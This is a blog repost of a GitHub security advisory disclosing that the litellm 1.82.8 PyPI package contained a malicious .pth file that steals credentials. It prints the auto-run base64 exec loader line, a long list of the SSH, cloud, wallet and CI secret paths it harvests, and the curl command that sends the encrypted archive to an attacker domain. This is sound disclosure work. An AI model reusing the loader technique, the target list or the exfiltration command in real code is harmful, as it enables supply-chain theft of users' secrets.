- Updated: March 24, 2026
- 5 min read
Critical Security Flaw Discovered in LiteLLM 1.82.8
Skip to content You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session. You switched accounts on another tab or window. Reload to refresh your session. Dismiss alert BerriAI / litellm Public Uh oh! There was an error while loading. Please reload this page. Notifications You must be signed in to change notification settings Fork 6.7k Star 40.2k Code Issues 942 Pull requests 1.1k Discussions Actions Projects Security 0 Insights Additional navigation options Code Issues Pull requests Discussions Actions Projects Security Insights OpenOpen[Security]: CRITICAL: Malicious litellm_init.pth in litellm 1.82.8 — credential stealer#24512Copy linkLabelsllm translationDescriptionisfinneopened on Mar 24, 2026Issue body actions[Security]: CRITICAL: Malicious litellm_init.pth in litellm 1.82.8 PyPI package — credential stealer Summary The litellm==1.82.8 wheel package on PyPI contains a malicious .pth file (litellm_init.pth, 34,628 bytes) that automatically executes a credential-stealing script every time the Python interpreter starts — no import litellm required. This is a supply chain compromise. The malicious file is listed in the package’s own RECORD: litellm_init.pth,sha256=ceNa7wMJnNHy1kRnNCcwJaFjWX3pORLfMh7xGL8TUjg,34628 Reproduction pip download litellm==1.82.8 –no-deps -d /tmp/check python3 -c ” import zipfile, os whl = ‘/tmp/check/’ + [f for f in os.listdir(‘/tmp/check’) if f.endswith(‘.whl’)][0] with zipfile.ZipFile(whl) as z: pth = [n for n in z.namelist() if n.endswith(‘.pth’)] print(‘PTH files:’, pth) for p in pth: print(z.read(p)[:300]) ” You will see litellm_init.pth containing: import os, subprocess, sys; subprocess.Popen([sys.executable, “-c”, “import base64; exec(base64.b64decode(‘.’))”]) Malicious Behavior (full analysis) The payload is double base64-encoded. When decoded, it performs the following: Stage 1: Information Collection The script collects sensitive data from the host system: System info: hostname, whoami, uname -a, ip addr, ip route Environment variables: printenv (captures all API keys, secrets, tokens) SSH keys: ~/.ssh/id_rsa, ~/.ssh/id_ed25519, ~/.ssh/id_ecdsa, ~/.ssh/id_dsa, ~/.ssh/authorized_keys, ~/.ssh/known_hosts, ~/.ssh/config Git credentials: ~/.gitconfig, ~/.git-credentials AWS credentials: ~/.aws/credentials, ~/.aws/config, IMDS token + security credentials Kubernetes secrets: ~/.kube/config, /etc/kubernetes/admin.conf, /etc/kubernetes/kubelet.conf, /etc/kubernetes/controller-manager.conf, /etc/kubernetes/scheduler.conf, service account tokens GCP credentials: ~/.config/gcloud/application_default_credentials.json Azure credentials: ~/.azure/ Docker configs: ~/.docker/config.json, /kaniko/.docker/config.json, /root/.docker/config.json Package manager configs: ~/.npmrc, ~/.vault-token, ~/.netrc, ~/.lftprc, ~/.msmtprc, ~/.my.cnf, ~/.pgpass, ~/.mongorc.js Shell history: ~/.bash_history, ~/.zsh_history, ~/.sh_history, ~/.mysql_history, ~/.psql_history, ~/.rediscli_history Crypto wallets: ~/.bitcoin/, ~/.litecoin/, ~/.dogecoin/, ~/.zcash/, ~/.dashcore/, ~/.ripple/, ~/.bitmonero/, ~/.ethereum/keystore/, ~/.cardano/, ~/.config/solana/ SSL/TLS private keys: /etc/ssl/private/, Let’s Encrypt .pem and .key files CI/CD secrets: terraform.tfvars, .gitlab-ci.yml, .travis.yml, Jenkinsfile, .drone.yml, Anchor.toml, ansible.cfg Database credentials: PostgreSQL, MySQL, Redis, LDAP config files Webhook URLs: grep for Slack/Discord webhook URLs in env and config files Stage 2: Encryption & Exfiltration Collected data is written to a temporary file A random 32-byte AES-256 session key is generated via openssl rand The collected data is encrypted with openssl enc -aes-256-cbc -pbkdf2 The AES session key is encrypted with a hardcoded 4096-bit RSA public key via openssl pkeyutl -encrypt -pkeyopt rsa_padding_mode:oaep Both encrypted files are packed into tpcp.tar.gz The archive is exfiltrated via: curl -s -o /dev/null -X POST \ “https://models.litellm.cloud/” \ -H “Content-Type: application/octet-stream” \ -H “X-Filename: tpcp.tar.gz” \ –data-binary @tpcp.tar.gz Key Technical Details Trigger mechanism: .pth files in site-packages/ are executed automatically by the Python interpreter on startup (see Python docs on .pth files). No import statement is needed. Stealth: The payload is double base64-encoded, making it invisible to naive source code grep.Exfiltration target: https://models.litellm.cloud/ — note the domain litellm.cloud (NOT litellm.ai, the official domain). RSA public key (first 64 chars): MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvahaZDo8mucujrT15ry+. Impact Anyone who installed litellm==1.82.8 via pip has had all environment variables, SSH keys, cloud credentials, and other secrets collected and sent to an attacker-controlled server.This affects: Local development machines CI/CD pipelines Docker containers Production servers Affected Version Confirmed: litellm==1.82.8 (PyPI wheel litellm-1.82.8-py3-none-any.whl) Other versions: Not yet checked — the attacker may have compromised multiple releases Recommended Actions PyPI: Yank/remove litellm 1.82.8 immediately Users: Check for litellm_init.pth in your site-packages/ directory Users: Rotate ALL credentials that were present as environment variables or in config files on any system where litellm 1.82.8 was installed BerriAI: Audit PyPI publishing credentials and CI/CD pipeline for compromise Environment OS: Ubuntu 24.04 (Docker container) Python: 3.13 pip installed from PyPI Discovered: 2026-03-24 Reactions are currently unavailableMetadataMetadataAssigneesNo one assignedLabelsllm translationTypeNo typeProjectsNo projectsMilestoneNo milestoneRelationshipsNone yetDevelopmentNo branches or pull requestsIssue actions You can’t perform that action at this time.
Andrii Bidochko
CTO UBOS
Andrii Bidochko is an AI entrepreneur and researcher focused on AI agents, reinforcement learning, and autonomous systems. He writes about the technologies shaping the future of machine intelligence, from frontier models and agent architectures to real-world AI applications.